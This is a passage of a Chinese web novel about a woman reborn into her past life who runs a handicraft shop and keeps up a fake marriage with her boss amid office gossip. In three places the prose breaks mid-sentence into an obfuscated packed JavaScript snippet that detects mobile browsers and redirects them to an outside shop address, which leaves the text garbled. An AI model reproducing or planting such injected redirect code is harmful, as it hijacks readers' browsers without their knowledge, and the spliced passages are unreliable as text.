“话是这么说,但也太没意思了。”沈骁杵着下巴,歪着头望着窗外,“怎么一个人都不来,还好你本厚,这要是换做其他人,创业等于饿死。” 心里是这么想的,常好好嘴上却道:“正常,万事开头难。” 天气渐渐变得炎热。 手工坊从没有顾客光顾到一天偶尔进来三四名顾客,持续保持冷冷清清。直到一个年轻女人出现在店里,一切发生了转变。 “天啊,每周三天为他们提供手作空间。好好,你纯纯做慈善啊。” 得到常好好将店以每周一百元的价格租给福利学校的消息,沈骁惊呆了。 常好好拿起彩笔,一个一个按颜色分类放入盒子里,“我觉得挺好,看见小朋友做自己喜欢的手工很有趣,氛围很好。” “算了吧,那么多孩子,叽叽喳喳的,我可不擅长跟孩子相处。还是老实在陈舒悦旁边,帮你观察成世泽身边的可疑人物那个工作更适合我。” 自从李嘉晨的事解决后,几个人有时间和精力放在其他上面。大家商量好计划,等到安燃没有课的时候,安燃帮常好好看店,心理机构那边常好好和沈骁谁有时间谁去,争取不放过每一个成世泽在心理机构与别人相处的细节。 计划有条不紊地进行。 两个月后,常好好终于从凌枫那里收到一个振奋人心的好消息,暂时把店关掉,一路小跑到酷誉。 “免费手工一日券打印出来一张,你看看有没有需要修改的地方。”凌枫递给常好好,“你觉得满意的话,我保证今天把券全部印出来,明天江翊便会收到这张消费券。” 消费券做的非常用心,比想象中还要有趣和引人注目。常好好开心地笑了,“设计好棒,赶快印刷吧。” 手工坊在接福利机构的单子前,别说看见江翊了,一共都没见几个人进来光顾。如今消费券印刷出来,江翊光顾的几率增高,但仍存在失败的可能。 “好。”凌枫看出常好好的疑虑,电话吩咐完王宽后安慰道,“现在已经达成合作,倘若这次失败,我们可以继续想别的办法。” 常好好不愿意一直陷入焦虑的情绪里,抬起头笑道:“凌枫,谢谢你。这次你帮了我大忙。” “我们是夫妻,夫妻之间不需要客气。”凌枫道。 一句话再次把常好好搞得晕晕乎乎。 她不喜欢现在这种感觉,一种患得患失的难受感。 “我先回店里,你忙吧。”她的语气带着好久不见的疏离感。 凌枫没有挽留,望着她离去的背影出神。 看到常好好从办公室出来,办公区域的人神色各异,有的人老老实实继续忙工作;有的人当没看见,该摸鱼摸鱼;有的人打开八卦群聊,开始码字。 员工甲:【你们看没看见,常好好刚从老大办公室出来,表情不太好。】 员工乙:【我看见了!你们不觉得奇怪吗,常好好有半年多没来了吧,我都要忘了她这号人物。今天突然出现,你们说她和老大到底什么关系,好一个扑朔迷离。】 员工丙:【不知道,我只觉得可惜,之前那部戏那么精彩,为啥退圈?不能理解,多好的势头啊,说退圈真退圈,不会是出什么事了吧。】 员工丁:【人在公司呢,能出啥事,我觉得你们想太多,要我说常好好有很大可能是投资人,要不然能一直给她留那间办公室?全公司那么大的独立办公室不超过五间。】 员工甲:【常好好跟老大应该没太多关系,但是我要跟你们说一个小道消息,你们一定保密。】 员工丙:【快说快说,什么秘密?】 员工丁:【你放心,只在这个群里聊,不会对外说。我们心里知道就行了。】 员工乙:【对,放一万个心。我本来想上厕所都忍住了。】 员工甲:【我说了哈,你们千万别出声。】 员工乙:【啊啊啊你要急死我,快说!】 员工甲:【老大结婚了。】 员工丁:【我靠?!】 员工乙:【??????】 员工丙:【真假?和谁啊?那个乘以十?成总妹妹?】 员工甲:【当然了,不是成总妹妹还能是谁。】 …… 王宽在群里始终潜水,当看见有人提起凌枫结婚,才意识到原来这件事并不是秘密,很多人都已经从各方得到了消息。 他是凌枫的“死忠粉”,担心群里继续胡说八道,终于冒了出来。 【既然如此,大家以后别在群里聊老大和常好好了吧,感觉对他们两个人不太好,不尊重。你们想啊,老大是谁?怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373744|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能乱搞男女关系。】 【是啊,老大以前专门挑下班点开会的确很烦,但其他方面做的到位,不至于脚踩两条船。】 【所以你们不好奇吗,常好好到底何方神圣?会不会是投资人的女儿或者亲戚。】 【这个靠谱,可能性很大。】 群里八卦的重点一下子从凌枫和常好好之间的关系转变为常好好背后的神秘身份。 “阿嚏!” 常好好莫名打了个大喷嚏。她摸了摸鼻头,寻思大热天的,不会是感冒了吧。 这时手机铃声响起,看见来电显示,她迅速接通电话:“喂,怎么了。” “好好,你从酷誉出来了吗?”电话那头是沈骁的声音。 “没有,正要下楼。” “太好了,你去我们办公室把我抽屉里的零食拿出来帮我看看过没过期,没过期的话帮我拿回来。”不给电话那面的人拒绝的机会,沈骁快速说道,“谢啦好好,你最好了。”然后立刻挂断电话。 常好好:“……” 她无语望天,搞不明白沈骁那个家伙怎么可以做到天天嘴不闲着,又不胖的?内心一大堆脏话被她压了回去,脚步一停,拐了个弯朝反方向走去。 常好好的办公室在偏里间的位置,途径必须经过凌枫办公室。 看见正在讨论的主人公突然又折返回来,工作人员们放下手头工作,瞪大眼睛关注常好好的动作。 亲眼目睹常好好路过凌枫办公室,几个人脸上露出失望的表情,好像错过了一场大戏。可没过多久,几个人惊讶得张大嘴。 推开办公室的门,常好好动作利落,拉开抽屉翻找。 抽屉被各种零食袋填满,她强烈怀疑沈骁是故意的,什么过期零食,明明自己懒得不行,想让她把零食都拿过去。 “沈骁真是的。”她嘴上吐槽手上麻利,从旁边柜子中找出大袋子,把零食一股脑扔进袋子里。 “咚咚咚!”门被人敲响。 她身体微顿,愣了下,“谁?” 门外的人轻声道:“是我。” 听出凌枫的声音,常好好松开袋子,稍微提高音量:“进来吧。” 凌枫关上门,站在桌前。 见男人进来不说话,常好好懒得理他却不忘解释,说道:“我本来要走的,沈骁找我,让我帮她拿一些东西。”说完手机嗡嗡震动,她划开手机,看到消息满脸黑线。 【谢谢好好啦,抽屉最里面有一袋水果玉米,千万别忘拿。】 常好好:“他大爷的。” 凌枫:“我们谈谈吧。” 两个人几乎同一时间开口,声音都很小。 常好好气鼓鼓地将即食玉米甩在袋子里,偏了偏头,挤出假笑:“我没听清,你刚才说什么?” “是沈骁找你?”凌枫问。 “对,最近李嘉晨那边不忙,她一直几头跑帮我看店、盯着我二哥,我帮她跑跑腿应该的。”常好好试着拎起满满一袋子食物,咬着牙继续说道,“李川那件事她心里多少有点不痛快,又不好跟别人发泄,偶尔多吃点可以理解。” 之前李川隐瞒重生的事对别人影响不大,唯独沈骁反应巨大。 接触了两年,使出浑身解数在对方面前演戏,结果人家是知情人,换谁都有点难接受。奈何对方确实心有顾虑,又在坦诚后及时道了歉,再提起不满总不是那么回事。 相处两年多,几乎每天都在一起,常好好早看出沈骁的别扭。她没有点破,偶尔逗逗沈骁,好在沈骁是个没心没肺的主,不过是偶尔看见李川后,背后跟她发发牢骚,觉得尴尬和丢人。 毕竟之前的“演技”是真实存在过的,想忘没那么容易。 想到李川那张脸,常好好不禁感叹:“别说,表面真看不出来。一个一个竟然那么会演,比有些演员厉害多了,情绪演得真到位。”她收紧袋子口,直起身子,发现凌枫垂眸,不知道在思考什么,竟出了神。 48. 吃瓜 好奇心作祟,她急着问:“你找我有事?” 凌枫没有直视常好好的眼,略微沉吟道:“嗯……没什么。” 吞吞吐吐,完全不是凌枫的个人风格。 常好好迟疑了一会儿,最后把想问的话咽了回去。 “我妈周末可能会过来,等我有确定消息再告诉你。”凌枫见常好好要走,连忙补充一句。 怎么又来?估计又是不确定。常好好干脆没往心里去,挥了挥手:“好,我走了。” “我送你。”凌枫轻轻弯下腰,顺势拿走常好好手里沉甸甸的袋子,“现在不忙,我送你到停车场。” 常好好倒是没拒绝,因为袋子真的很沉。她偷偷瞄了一眼凌枫的手臂,突然明白沈骁为何干吃不胖,肌肉满满。天天手里拎那么重的购物袋,估计当4kg小哑铃锻炼了。 茶水间的门半掩着,里面的员工震惊了。 “卧槽!老大手里拿的什么玩意?” “凌总真去找常好好了。” “老大要干嘛???我靠我靠我靠啊……” 王宽正埋头整理档案,办公桌上的手机嗡嗡直响。他回身拿起手机,看见八卦群聊发来的信息。 【一手消息,老大刚刚等电梯的时候,抬手帮常好好整理刘海。】 【啥?我的妈呀,俩人不会真有啥吧。】 【老大看见你没?你赶紧回来吧,小心明天被开了。】 【滚犊子!能不能说点吉利话。】 【我证明。老大的手真的碰到常好好的头发丝,看来关系不简单。】 【其实我刚才想说来着,像老大这种级别的富二代帅哥有几个不花心的啊,那种传闻还少吗?】 【对啊,现实不是偶像剧,哪有完美的男主。】 【啊啊啊我还是不能接受老大是渣男,就算以前玩玩,结婚后总该收心吧。哎,果然我还是太天真了。】 【我们成总的亲哥哥。我从亲戚那里无意中听到他私下也有情人的。所以啊,都一个样,别给他们带滤镜。】 【你们能懂我的震撼吗?正在厕所蹲坑呢,看见这么一大堆瓜,震惊ing!!!】 【吃瓜归吃瓜,你们千万别往外说,我们心里知道就行了。】 【懂!】 【明白。】 【收到。】 王宽原本想加入八卦大军中,手指悬在空中,最后把手机放回桌上,默默整理档案。他心里想:“老大再渣也是他的老板,还是装作没看见吧。” 电梯到达b2层。常好好走出电梯,手指缠绕着一缕发丝,其中有凌枫刚才指出来那根白发。 “哎。”她唉声叹气。 最近愁成啥样了,白头发都冒出来,比上一世提前三年多。 凌枫帮常好好把大袋子放在后排地上,为常好好拉开车门,“注意安全,到店里告诉我一声。” 路程两公里不到,不至于吧? 常好好心里说不上什么滋味。换做以前会小鹿乱撞,现在反而觉得奇怪。不是男女朋友,做这些难免感到诡异。她没吭声,仅仅点了点头。 沈骁早早站在店门口张望,瞧见常好好的车,立刻跑到门口专用停车位后方站好,热情迎接道:“还是姐妹给力,全拿回来啦。” 常好好没什么精神头,“嗯。” 安燃今日下午没课来到店里帮忙,眼睛朝常好好脸上一扫,看出她状态不佳,“怎么了这是,心情不好?” 常好好:“我长白头发了。” 沈骁定住了,站在那里想笑又不敢放声大笑。安燃毕竟跟常好好相识近二十年,一点不避讳,伸手搂过常好好肩膀,“能不能别逗我,我以为你怎么了呢,不就是根白头发?” “好多事提前了。”常好好没工夫和他们开玩笑,不客气地甩走安燃的手臂,“魏筝和李嘉晨的事之所以能够顺利改变是因为魏筝和李川都是重生之人。我二哥……”她抿了抿唇,“我心里没底。” 听到她的话,沈骁未出声,难得安静一回。安燃察觉到两个女人的不对劲,连续击掌三下,“我说你们正能量一点好不好,别那么焦虑,一切都在向好。” 没反应。 安燃继续道:“我们这么多人都重生回来,很多事提前属于正常现象。再说了,你们是不是忽略了陈舒悦?现成的范例在那摆着呢,别悲观行不行,自信起来,成世泽身边有我们这么多帮手,怕什么?” “话是这么说,但商场坍塌的那一刻太突然,李川、魏筝还有凌枫都是典型的例子,或许有人同他们一样,也在我们看不见的地方重生回来。”常好好说道。 安燃不以为意,“好事啊,我们的团队越来越壮大。” 常好好知道安燃和沈骁都是乐天派,她清楚自己遇到事情容易陷入焦虑,但有些事不得不多想,“我怕我们找的凶手就在其中。” 自从李川的事一出,她开始失眠,每夜睡前胡思乱想,满脑子都是成世泽葬礼的场景。 “不会的,怎么可能?”安燃看出常好好的顾虑,安慰道,“别想了,我们聊点开心的事情。” 被安燃一提醒,常好好才发现她光顾着担忧,差点忘记公布好消息。 “福利券搞定了,凌枫说明天发放到两个公司的员工手里。”她道。 沈骁:“两个公司?” 安燃:“对啊,另一个公司从哪冒出来的?” “酷誉,凌枫给员工的福利。”常好好提到凌枫明显不自然。 安燃了解她,精准捕捉到她的小动作,想要说啥又乖乖闭上嘴巴。 一边的沈骁超级激动,“啥玩意?那给多少人,损失多少成本啊。”她随便拿起桌子上一个钥匙链成品,眼珠子快要瞪出来,“两个公司那么多人,你店里这些货够吗?” “想啥呢,给他们公司做福利,能不给好好一些好处?凌枫不是那样的人。” 话有道理。 沈骁缓了缓,情绪比刚才稳定多了,“也对,是我误会枫哥了。不过从明天开始店里一定很忙,我们几个人忙得过来吗?” “小事一桩,我那好多羽毛球教练,这个月只要没有课我就让他们过来帮忙,能帮一点是一点。” “不用,他们不太懂手工。”常好好谢绝安燃的好意,一群体育生到这来反倒帮不上什么忙。她猛地想起一个人,“我给苏淼打个电话,问问她有没有时间,她那个人很细心。” 听到苏淼的名字,沈骁分外积极:“我举双手同意。” 第二天,整个店的人蓄势待发,从早晨开始做准备迎接江翊的光顾。没成想,到了晚上下班时间,只进来一对光顾的情侣。 沈骁兴致缺缺,站在门边发牢骚:“感觉和日常没太大区别。” 怕位置不够,她和苏淼没少费心思想办法,又搬桌子又搬椅子的,结果就这? “再等等,现在才七点钟。”苏淼低声提醒。 沈骁站累了,随便找了个位置席地而坐,“我不理解,非常不理解他们两个公司的员工咋想的,免费的都不要?” “正是因为免费,很多人会认为不可能有免费的午餐,再加上不是谁都喜欢做手工吧。”苏淼看上去比沈骁有耐心。她蹲下去拍了拍沈骁,“没关系,慢慢来,我可以介绍认识的朋友来这里光顾。” 闻言,安燃附和道:“苏淼说的对,时间太早了,江翊经常加班,至少九点以后吧。” 又过去一个小时。 江翊没等来,等来一个熟悉的面孔。 看见来人,常好好展露出她独有的甜美笑容,热情招呼着:“小宋?小黄?你们来了。快坐,看看你们喜欢哪种,随便拿。” 小宋和小黄看见常好好从收银台走过来,意识到了什么,不约而同地看了对方一眼,然后笑得比刚刚更僵硬了,简单挑了两个毛毡,找了一个距离门口和前台最远的位置坐下。 余光瞥到常好好和其他人该干嘛干嘛,小宋才敢和身边的小黄说出自己的震惊,“天啊,这家店是常好好的?” “听王宽说福利券是凌总的意思,一切明了,常好好和凌总果然有关系。看吧,我都跟你说了,你偏不信。” 昨日八卦群里聊出上千条信息,小黄是群里的一员,下班马上跟她的下班搭子讨论起来,结果小宋不信。 “我不信是因为在我的印象中明明是成总和常好好有点什么来着,怎么突然变了?” “那是你没亲眼看见常好好第一次来公司找凌总的画面。当时我就感觉不对劲,凌总多难搞一人,竟然让常好好就那么坐在他旁边。”回味起那个场景,小黄意犹未尽,将当天的每个细节全盘托出,最后补充一句,“群里那个刘倩你应该有印象吧,她的话有可信度。” 听见名字,小宋能对上刘倩的脸,点了点头又摇了摇头:“为啥?” 公司总部上上下下几百号人,每天都有人放出领导和领导们之间的八卦,甲说这个、乙说那个,好多离奇的瓜,其实没几个人说的靠谱。 “你不知道她的底细,”小黄扫了一眼周边,发现周围刚进来一些其他部门的同事,嘴附在小宋耳边,压低声音说,“刘倩她亲舅舅的孩子和陈家的小辈谈恋爱,陈家和凌家关系近,凌总结婚的事八九不离十。” “沈家?南山区那家建筑公司?”小宋捂住嘴,眼睛瞪得贼老大,“我的乖乖,公司里不一定谁认识谁呢,平时说话一定要多注意。” 小黄拿饭搭子没办法,看她的眼神中带着宠溺和无奈,“你来酷誉三年了吧,才意识到这点啊。” “哎,虽然但是,我感觉凌总不是那样的人呢。” “你太单纯了,看表面能看出私生活?有的人啊长得成熟稳重像个好好男人,实际斯文败类,私生活混乱。”发现说的有点多,小黄往回找补,“我不是说凌总哈,比喻,比喻而已。反正大部分有钱男人都那个德行,跟长相没关系。” “就算凌总是那个德行,但常好好……”小宋探出头朝远处眺望,见常好好正要抬眼,赶快把头转回来,小声道,“我感觉不太像那种人。” “谁知道呢,她突然退圈够奇怪的了。”小黄想到了哪里,突然倒吸一口凉气,“会不会她退圈和凌总有关?” 聊别人的八卦那叫一个嗨。两个人好像找到了源头,越聊越带劲,时不时地观察收银台方向坐着的常好好,生怕声音大被听了去,几乎是压着嗓子聊天。 九点钟。 店里除了常好好等人,早已没了顾客。苏淼帮助常好好一起收拾桌子上残留的小配件。 看她欲言又止,常好好主动问道:“想问啥,你问吧。” “她俩聊到你和枫哥。” 常好好不甚在意,公司员工八卦老板再正常不过,一点不稀奇。她面色平静地道:“估计当绯闻八卦探讨吧。” “好好,你和枫哥,”苏淼明知道不是,依旧试探着问,“你们两个是不是谈恋爱了?” 她可是拥有上帝视角的人之一。自从知道重生前凌枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377720|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗恋常好好便一发不可收拾,平日里不自觉地观察凌枫对常好好的态度,就是想确认凌枫会不会和上一世一样,爱上常好好。 “不是。” “他追你?” “没有。” “你追他?” “没有。” 好奇心重不是好事。即便如此,苏淼还是忍不住想知道他们俩的感情进度,决定帮凌枫推一把,“不是我多嘴,我单方面认为你们两个非常配,各个方面。”这句话说的倒是真情实感。 “有吗?”常好好拿起一个亮闪闪的配件不自觉地用力,甩进了盒子里。 苏淼贼有眼力见一人,见她听到凌枫后心气不顺,咽了下口水,硬着头皮道:“枫哥这人吧,高冷又毒舌,但他心思缜密,为人成熟稳重,认定一个人应该很难改变,我以为他跟你表白了呢。” 常好好的手顿住了,抬眼看苏淼,眸中快速闪过一层疑惑。 苏淼演技大爆发,望了望门口聊天的安燃和沈骁,悄摸摸地靠近常好好,放低声音说道:“我和我小舅一致认为枫哥喜欢你,但他不好意思明说,怕你……咋说呢,可能担心你生气吧。” 常好好不解苏淼口中生气的点,她顿了顿,“你小舅和凌枫是不是很熟?” 对面的回答完全出乎意料。苏淼特别想抽自己的嘴巴,怎么就那么多话,早知道不多管闲事了。 “熟,熟透了。”她打着哈哈,快速收拾完桌子,找了个上厕所的借口给凌枫发信息。 她倒是溜了,留下常好好在原地心慌意乱。 凌枫真的喜欢她? 常好好使劲摇头让自己保持清醒。 “呼!”苏淼关上卫生间大门,额头已渗出汗滴,她喃喃自语,“演戏真不容易,嘴一不小心容易出纰漏。”嘴上不停,手上更是一顿码字。 【苏淼:亲爱的队友,请问我们什么时候跟常好好他们坦白,总这样不适合吧。】 【张韧:保险起见,等成世泽那边调查出新的线索再说。】 看见亲舅舅的话直翻白眼,苏淼决定无视,焦急等待另外两个男人的回话。等啊等,干等等不到,干脆直接@他们两个人。 【陆颂:韧哥说的合情合理,等夏琳和成世泽之间的调查有眉目,再谈不迟。】 【苏淼:枫哥人呢?你可别听他俩的,他俩才不在意你的死活呢。我给你建议,最近找个好时机和好好坦白,否则你真没戏了。】 【陆颂:你这话说的好像我们是反派,你是正派人物。】 【张韧:太年轻,不懂得以大局为重。】 【苏淼:你俩先把嘴闭上。】 【凌枫:@苏淼,会说,放心。】 苏淼一个没忍住,手下已经打了一大串字,正要点击发送门被敲响,外面的人喊道:“苏淼,门能打开吗?” 去了那么长时间,担心门又坏了导致苏淼出不来,常好好再次敲了敲门,“门打不开喊我,我帮你踹一脚,或者你在里面踹一脚。” “没事没事,我正洗手呢。”苏淼做戏做全套,打开水龙头把手洗干净,拿纸巾擦了擦,慢悠悠地拉开门,“怎么了?又来顾客了?” 常好好摇了摇头,“我担心你出不来,厕所门不太好用。” “这样啊。”苏淼擦完手顺势擦了擦额头上的汗,“我还以为发生什么事了呢。” 沈骁听见那边的动静,蹙了蹙眉头,而后转过头,看着安燃着急的样子,调侃道:“呦,刚才不是说不急吗,瞧你愁眉苦脸那样。” “九点多了我能不急吗?” “打球的时候没看出来你这么怂呢,喜欢去追啊,磨磨唧唧的。” “你不懂,我跟她没那么熟,别给人家吓到,以为我这人——”安燃停住话茬,眼里尽是不可思议,“你……你怎么知道?” “表现那么明显,傻子都能看出来。”沈骁一脸八卦,笑眯眯地说,“快和我讲讲你喜欢她的心路历程,我最爱听这种了。” “无聊。” “闲着也是闲着,正好我最近需要灵感,你快跟我说说,我可以给你出主意。” 安燃望着窗外形形色色的路人,叹了口气,开口道:“我跟她第一次见面是因为好好和江跃约会,他们俩的事好好都跟你说了,我就不再提了。” “我对她一见钟情,你问我为什么的话,我说不清楚。我们一共见过六次面,她对我应该不感兴趣。” 沈骁反驳道:“你打球的时候名气挺大的呀,她不看羽毛球?” “她看,她曾提起过经常关注羽毛球比赛。” “那就对了,说明她早就认识你,这你都没要到人家联系方式。” “她是凌枫的球迷。” 沈骁默了。 一秒、两秒、三秒,她努力憋笑,憋得很难受,“对不起,我不应该提起你的伤心事。” 安燃垂头苦笑:“提起她本来就是一件让人伤心的事。” 闻言,沈骁心有不忍,“不是你要我们乐观吗,你也乐观点,江翊一定会没事的。她今天不来,早晚有一天会来。” 十点十分,依然没看见江翊的身影。常好好盯着手表,心里清楚今天白忙活一天。她抚摸隐隐作痛的小腹,直觉告诉她“大姨妈”快来了,连忙拉出抽屉翻找卫生巾,叮嘱苏淼一声便飞快地跑到厕所。 沈骁快要坐不住,懒洋洋地打起哈欠。忽地,她立马坐直上半身,“我去!安燃你看,过马路那个女人是不是江翊?” 49. 突袭 她不知道江翊的长相,全凭常好好和安燃的描述,脑海里自动描绘出大概的模样。 安燃喃喃自语:“真的是她。” 沈骁得意一笑:“我就说吧,我想象力一流,直觉更强。” “欢迎光临!” “欢迎光临!” “欢迎光临!” 欢迎声音过于响亮,沈骁一转头,身边的安燃早飞奔到门口迎接一个陌生女人。 “你好……”安燃牙齿差点咬到舌头,两只手不断揉搓。 沈骁顷刻间反应过来,视线跟随安燃身旁的女人。 女人简单扎了一个低马尾,身穿米白色西服套装,看上去个头不低,跟常好好身高相似。 苏淼悄悄移到沈骁旁边,仔细观察着那边的情况,而后笃定地说:“她才是江翊吧。” “看起来是这样。”沈骁道。 女人正是他们等候多时的江翊。 江翊进来最先看见安燃,她瞳孔放大,语气里难掩惊讶,“你是安燃?” 安燃心跳加速,激动地道:“你记得我?” “我很喜欢看羽毛球比赛,对你印象很深。当年你退役我还……”江翊收回即将脱口而出的话,话锋一转,“这家店是你开的?东西好全。” 原来不是重生。 安燃垂下头,将失落的情绪隐藏起来,“店是我朋友开的,你喜欢可以常来,最近店里有许多活动和抽奖。” 江翊在安燃回看她的时候,不好意思地挪开目光,在店内扫了一圈,小声道:“可惜我工作忙,没太多时间。” “忙可以多休息。”安燃懊恼嘴太快,赶紧补充道,“现在大家压力都很大,可以理解。” “确实如此。”江翊心思不在手作上,随便从墙上的挂钩里拿下两包配件,“我要这两样。” 安燃接过来,边走边看着两包配件发呆,完全忽视一边的沈骁和苏淼。他哪里会扫码,又把东西重新递给江翊,“送给你吧。” 江翊:“啊?” 安燃:“你不是有福利券吗。” 沈骁:“……” 苏淼:“……” 沈骁无奈摇头,“燃哥彻底傻了。” 苏淼笑着附和道:“看上去的确没救了。” 江翊没比他们两位好哪去,怔了怔,说道:“我记得券是到店核销,今天有点晚,等下次有空再过来。” 安燃这才缓过神,尴尬地挠了挠头,为自己找补,“对啊,你看我忙得忘记了。主要今天顾客太多。” “没关系,多少钱我扫给你。”江翊道。 安燃向苏淼投来求救目光。 苏淼没沈骁那么损,接收到信号赶紧过来帮忙扫码收钱。 见江翊即将离去,安燃拿手机跑到门口,调出来二维码,“对了,你可以加我的好友,有福利活动我第一时间给你发过去。” 江翊没拒绝,“好啊。” 安燃顺利与江翊添加成为好友,跟在江翊身后送她出去。恰巧赶上凌枫进入店里,与江翊擦肩而过。 看半天戏的沈骁和苏淼懵逼了。两个人默契对视,下一秒被凌枫的问话打断,“好好在卫生间?” 两个女人再一次默契点头。 凌枫颔首,径直从两个人身边走过,朝卫生间的方向迈步。 苏淼深深看一眼凌枫的背影,转头瞥了一眼心情大好的安燃,压低声音说:“就这么走了?好好回来会不会气疯。” “不要紧,不是加好友了吗。”沈骁不在意地道。 苏淼歪头轻笑,“他给江翊的二维码好像是他自己的。” 沈骁喝水被呛到,“咳咳,啥玩意?” 苏淼抬手轻拍沈骁的背部,用只有沈骁能听见的音量,说:“你没发现有bug?” “哪里?” “江翊看见枫哥没有任何反应。” “估计没仔细看吧。” “你特别喜欢的选手,你会跟他打个照面却认不出?”苏淼给沈骁递了一个眼神,“她可是一秒认出来安燃。” 沈骁仔细思考,发现苏淼说的在理,盯着安燃眯了眯眸,“的确奇怪。” 送走江翊,安燃回来后整个一大变样,从焦急转变为兴奋过度。 尬舞结束,他才发现落在他身上的两道视线,“你们俩别用那种眼神看我,我要起鸡皮疙瘩了。” 沈骁逼近安燃,“你给江翊的二维码不是好好的?” “谁的二维码有什么关系,到时候熟悉了我们可以一起出来玩。”安燃自信满满,“不影响大局。” 苏淼疑惑道:“你想到让她摆脱悲剧的方法了?” 安燃点头:“我早有计划,但实施起来有难度。” 江翊连续加班一个月,最终累倒在工位,归根究底出在公司制度上面。他们重生也没办法改变别家公司大环境,只能靠接触江翊,让江翊自己转变。想到这,他终于想起来消失很长时间的常好好,问道:“好好人呢?” 沈骁指了指卫生间,“里面呢。” “哦。” 见他全然没提起凌枫的存在,苏淼恍然大悟,“你别告诉我,你没看见枫哥?” 安燃蹙眉,显然好心情被打搅,嘀咕道:“凌枫?看见他干嘛,他又不在这。” 沈骁和苏淼无语扯了扯唇。 安燃彻底没救了。 卫生间里,凌枫和常好好再一次面对面站着,乍一看,特别像对峙。 看见凌枫出现在这里,常好好感到相当意外,手捂着小肚子,开起玩笑:“原来凌总你这么喜欢我店里的厕所啊。” 听到常好好叫他“凌总”,凌枫微微皱了皱眉,没有接着她的话往下说,讲述刚才进店里看到的画面,“店里刚走一位顾客,安燃亲自送她出去。” 安燃亲自送…… 莫非是江翊? 常好好脸色微变,略过凌枫就要拉开门,一只大手快速握住她的手腕。 “我妈在家,我们尽快回去。”凌枫道。 常好好不相信,下意识地问:“你确定这次阿姨真的来了?” “百分百确定。” “阿姨进你家门了?” “不仅如此,我妈已经在家里转了两个来回,并给我发来一条视频。”凌枫举起手机对着常好好的脸,“这次是真的。” 事出紧急,常好好简单和安燃他们交流了江翊光顾店的情况,不等她指着安燃的鼻子骂,凌枫拉住她往外走。 挥手望着他们的身影,直到凌枫驾车离开,安燃难得夸奖凌枫,“不愧是我的好哥们,关键时刻真给力。” 话音刚落,一旁的沈骁和苏淼忍不住翻了个大白眼。 电梯内,常好好手脚不自然,心里没由来的慌乱。现实比想象更夸张,早料到会遇到方琴突击检查的那天,但万万没想到如此突击。 “阿姨会不会发现我们俩是假夫妻。”她道。 凌枫实事求是地说:“不知道。” “最近陈叔没找我,我心里不踏实,要不我们和阿姨坦白吧。阿姨毕竟是你的妈妈,又对我喜爱有加,我们团结起来,一起瞒着陈叔,该有的好处你都不会少。” 凌枫似笑非笑地看向常好好,“你认为陈叔是吃素的吗?” 常好好沉吟片刻,认真地点头:“他真的吃素。” 凌枫被常好好逗笑了,忽然一本正经的样子,“你知道的,我妈人很好。” “嗯,所以呢?” “不是我在背后讲她坏话,她有时候控制不住自己的嘴。”凌枫顿了顿,“当然,她是无心的。” “我明白,我的意思是说万一,万一被发现就坦白呗,没其他好办法。” “没有万一。” 随着凌枫的话音落下,电梯门慢慢打开。这次他不再抓手腕,直接拉住常好好的手,走到门前意思了一下敲敲门,然后打开门。 方琴早在门口等待多时,瞧见两个人拉着的手,眉开眼笑,“忆时回来了,我给你切了些水果,做了红枣薏米茶,快过来尝尝。”她仿佛没看到自家儿子,一个眼神都不给。 “妈。” 听见旁边人说话,方琴才看一眼凌枫,同样是意思一下,“我儿子回来啦。” 凌枫:“……” 该吃的水果吃了,该喝的茶喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382106|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 常好好板板正正坐在沙发上和平时判若两人。 凌枫见她装模作样,暗中抽了抽嘴角。 忽然闲下来,方琴总觉得无所事事,道出来此的缘由,“知道你们最近忙,我不好意思打扰你们,今天是……”她吞吞吐吐。 “和爸闹别扭了。”凌枫不假思索地接话。 不是疑问句,而是肯定句。 方琴长舒一口气,“你爸年龄大了,开始反抗了。” “……” 常好好一听这话不对,寻思她是不是应该回屋,正迟疑不决,方琴转身拉起她的手,“好好啊,阿姨知道你退圈之后为你开心,听说你租下一家门店,真是太好了。无论你做哪个行业,阿姨都支持你。活到我这个岁数,算是看透了。人啊,开心最重要。” 看来是真受了委屈。常好好乖乖安慰方琴,把方琴哄得那叫一个开心。 本来还忧心忡忡,没成想方琴如此好哄,不过半个小时,便提出时间不早,回到客房睡觉。 等方琴把门关上,常好好松了口气,跟着凌枫一起进入主卧室。主卧不是她第一次进,但眼下这个时候难免静不下心,容易胡思乱想。 “你睡大床,我睡沙发床。”凌枫丢下一句话,弯下腰将沙发床慢慢展开。 印象中上次主卧并没有这张沙发床。 常好好不得不佩服凌枫,原来他早有准备。 今日累了一天,又赶上生理期,她捂住时不时抽痛的小腹,盯着眼前这张和酒店有一拼的大白床,面露难色。 